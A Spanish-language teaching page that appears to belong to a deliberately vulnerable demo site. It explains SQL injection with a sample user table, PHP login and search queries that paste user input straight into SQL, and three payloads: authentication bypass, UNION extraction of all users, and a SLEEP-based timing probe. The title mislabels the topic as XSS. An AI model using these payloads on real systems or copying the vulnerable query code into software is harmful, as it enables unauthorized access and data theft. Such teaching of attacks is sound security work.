Seguridad: Ataque XSS - inyección SQL

Objetivo: Simular un ataque de inyección de código SQL en un sitio web vulnerable para acceder a información sensible en nombre de otro usuario.

¿Qué es una Inyección SQL?
Una inyección SQL es un tipo de ataque en el que un atacante inserta o "inyecta" código SQL malicioso en una consulta SQL a través de la entrada de datos de un usuario. Esto puede permitir al atacante manipular la base de datos subyacente, acceder a datos sensibles, o incluso tomar el control total de la base de datos.

Base de datos CREATE DATABASE IF NOT EXISTS base_usuarios;
CREATE TABLE IF NOT EXISTS base_usuarios.usuario (
id INT(11) NOT NULL AUTO_INCREMENT,
usr_name VARCHAR(100) NOT NULL,
usr_email VARCHAR(100) UNIQUE NOT NULL,
usr_pass VARCHAR(100) NOT NULL,
imagen VARCHAR(100) DEFAULT NULL,
PRIMARY KEY (id)
);
# usuarios de prueba
INSERT INTO base_usuarios.usuario (usr_name, usr_email, usr_pass) VALUES
('Usuario1', 'usuario1@example.com', '1234'),
('Usuario2', 'usuario2@example.com', '1234'),
('Usuario3', 'usuario3@example.com', '1234');

Tipos de inyecciones SQL

Omisión de autenticación (Authentication Bypass)
Consiste en colocar el siguiente código en el campo de contraseña del formulario de inicio de sesión: ' or ''=' esto provoca que la consulta final cambie y como ''='' siempre es verdad, el sistema te deja entrar sin saber la contraseña real.

// Consulta original (Código PHP en servidor):
$password = $_POST['password'];
$query = "SELECT * FROM usuario WHERE usr_email = ' $email' AND usr_pass = '$password'" ;

// La consulta SQL resultante:
SELECT * FROM usuario WHERE usr_email = 'usuario1@example.com' AND usr_pass = '' or ''=''

// Prueba en vivo

Iniciar sesión


Exfiltración de datos (con UNION)
Modifica la consulta que busca usuarios filtrando por email al juntarla con otra utilizando el operador UNION de la siguiente manera:

// Consulta original (Código PHP en servidor):
$email = $_POST['email'];
$query = "SELECT * FROM usuario WHERE usr_email = ' $email'" ;

// La consulta SQL resultante:
SELECT * FROM usuario WHERE usr_email = '' UNION SELECT * FROM usuario;#'

// Prueba en vivo

Buscar usuario

Usuario no encontrado
// Otros posible ataque
Inyección de tiempo: introduce un retraso de 5 segundos en la respuesta, lo que puede usarse para confirmar la vulnerabilidad a la inyección SQL.
' OR IF(1=1, SLEEP(5), 0);#